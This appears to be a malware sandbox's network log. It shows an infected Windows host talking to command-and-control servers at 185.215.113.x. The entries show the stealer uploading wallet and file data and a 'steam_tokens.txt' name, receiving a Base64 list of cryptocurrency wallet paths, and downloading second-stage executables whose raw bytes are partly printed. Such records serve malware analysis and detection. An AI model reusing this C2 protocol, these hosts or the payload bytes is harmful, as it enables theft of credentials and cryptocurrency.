Nov 25, 2024 05:46:54.744748116 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 25, 2024 05:46:55.412870884 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJDAFBKFIECBGCAKECG Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 05:46:56.526593924 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 05:46:56.663623095 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="message"wallets------DBKKFCBAKKFBGCBFHJDG--
Nov 25, 2024 05:46:57.184570074 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 25, 2024 05:46:57.211016893 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 2d 2d 0d 0a Data Ascii: ------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="message"files------HCAAEGIJKEGHIDGCBAEB--
Nov 25, 2024 05:46:57.659035921 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 05:46:57.683305979 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="file"------DAKFIDHDGIEGCAKFIIJK--
Nov 25, 2024 05:46:58.630029917 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 05:46:58.689594984 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKFCBFHJDHJKECAKEH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 2d 2d 0d 0a Data Ascii: ------CBAKFCBFHJDHJKECAKEHContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------CBAKFCBFHJDHJKECAKEHContent-Disposition: form-data; name="message"ybncbhylepme------CBAKFCBFHJDHJKECAKEH--
Nov 25, 2024 05:46:59.368760109 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49957	185.215.113.16	80	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 05:46:59.507301092 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 25, 2024 05:47:00.930372000 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 04:47:00 GMT Content-Type: application/octet-stream Content-Length: 1884160 Last-Modified: Mon, 25 Nov 2024 04:24:27 GMT Connection: keep-alive ETag: "6743fbfb-1cc000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 e0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@K8?@WkDJDJ @.rsrcD@.idata @ p*@wxwmfdjn 1@mittgievJ@.taggant0J"@
Nov 25, 2024 05:47:00.930414915 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 05:47:00.930903912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 05:47:00.930924892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 05:47:00.930934906 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 05:47:00.931196928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 05:47:00.931222916 CET	1236	IN	Data Raw: d0 3e 1b cf d7 0c 4e 2d 5d ef 71 da d1 1b 65 f6 16 cf 71 2e c0 9a 1d c2 81 89 3a 1f 93 c3 5f 69 c1 1f 41 ed 2a 93 d3 1f c7 cb 7f ec 56 ab 51 ee 05 99 4e 1e 6f fb 02 36 f6 5f 23 54 57 cf b9 ad 64 ef 00 0a 2f 4f 7c e0 96 ab 71 ae d0 1a f4 bd 98 df Data Ascii: >N-]qeq.:_iAVQNo6_#TWd/O\|qPGo.qnZ':1Ot>^SsnogbV+SN'o'/?W@7qP(#bdzP233@n/Z=v'VmCn#s
Nov 25, 2024 05:47:00.931232929 CET	248	IN	Data Raw: f2 b3 a0 a2 1b 67 02 d2 6d 37 a8 9f 6a de 0a 9e 6f 25 74 42 2c 3f 75 0e 8d 6e 8a 97 73 f5 4c b0 48 9c b7 fe bd 20 fd e2 14 8d bf 7d 4b d7 a0 9d 2c 08 5e 2e ab 38 1d 4b d3 e5 bf 0e fd 52 27 21 e7 d7 bb 5d 67 c9 9b 3b 10 b0 68 f7 85 ff c5 48 e0 04 Data Ascii: gm7jo%tB,?unsLH }K,^.8KR'!]g;hHrX)+p~f@R(nb(/_y9a1%M,K]RsZjvOohtHI&&Q[2B/f<&3P^ptG+3nLz=VM
Nov 25, 2024 05:47:00.931828022 CET	1236	IN	Data Raw: e3 da 1b ec 3c e7 f9 a2 e2 29 73 6a 4b a4 bb 9a 2d b3 cb f3 da aa 82 de a2 5f fb af d7 8a f0 53 bc d4 96 d1 32 df 42 c1 a5 27 02 4b 28 d7 a8 89 80 f6 b2 e0 87 2b b9 eb dd f8 78 d7 e1 c6 33 9a d8 e9 4e 47 cb af 0f 81 58 a5 7f 1d 49 1f 90 aa d1 63 Data Ascii: <)sjK-_S2B'K(+x3NGXIcNS3L4THP}tTT['^4.xvB.5%8gW>g:s0.=q:dUi&8*a]-Go,C.+gn
Nov 25, 2024 05:47:00.931934118 CET	1236	IN	Data Raw: 85 2e cb 11 f9 4f ae 9e 85 5d 8b 8f 8d e8 f0 2d 77 7b 2e ed 6b db 7d 4a 5e 89 f2 2b 21 7d db e3 75 0f 7a e6 a0 27 0e 00 9e f9 7c a3 00 2c 6f 4e 43 b4 02 e8 ae 28 8a 55 37 2e a7 d6 be 87 ee 9a 29 f5 40 9b b8 eb 20 4e d6 07 d6 46 50 55 e4 f9 78 30 Data Ascii: .O]-w{.k}J^+!}uz'\|,oNC(U7.)@ NFPUx0Y<\|myZ/Yi~E.UMHK%t;.+UxG5x>"vaM]%),T#!A,4m72pC[$+^5z^Ls)({
Nov 25, 2024 05:47:01.049981117 CET	1236	IN	Data Raw: 11 bb 72 bf 01 29 17 db de c8 c6 1d 58 1f 1d 4b 35 e5 b3 f8 95 a2 0c 9c 91 99 9b 4b 8f 68 fb d6 50 2f 71 11 23 d2 f2 77 ef 11 be 89 08 91 7f c8 3c a4 5c e1 60 49 ac 1c 04 e2 b8 f4 86 4c 90 27 2b 2a 85 54 96 2b 15 39 09 6a 37 db 2e 07 06 ed fd 01 Data Ascii: r)XK5KhP/q#w<\`IL'+T+9j7.4R?PA))po_esVq;loTL5T\|JMS&I7m\3K[rDn9h,4Be_t2R_y#{xB=v!qhwT}g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49979	185.215.113.206	80	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 05:47:04.848994970 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEBKKKEHDHDGDGCFBKJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAEBKKKEHDHDGDGCFBKJ--
Nov 25, 2024 05:47:06.771699905 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:47:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	53157	185.215.113.43	80	6076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 05:48:04.637500048 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 25, 2024 05:48:05.967556953 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 04:48:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	53164	185.215.113.43	80	6076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 05:48:07.597079039 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 25, 2024 05:48:08.944283962 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 04:48:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 38 39 33 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 39 33 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 39 34 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 39 34 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 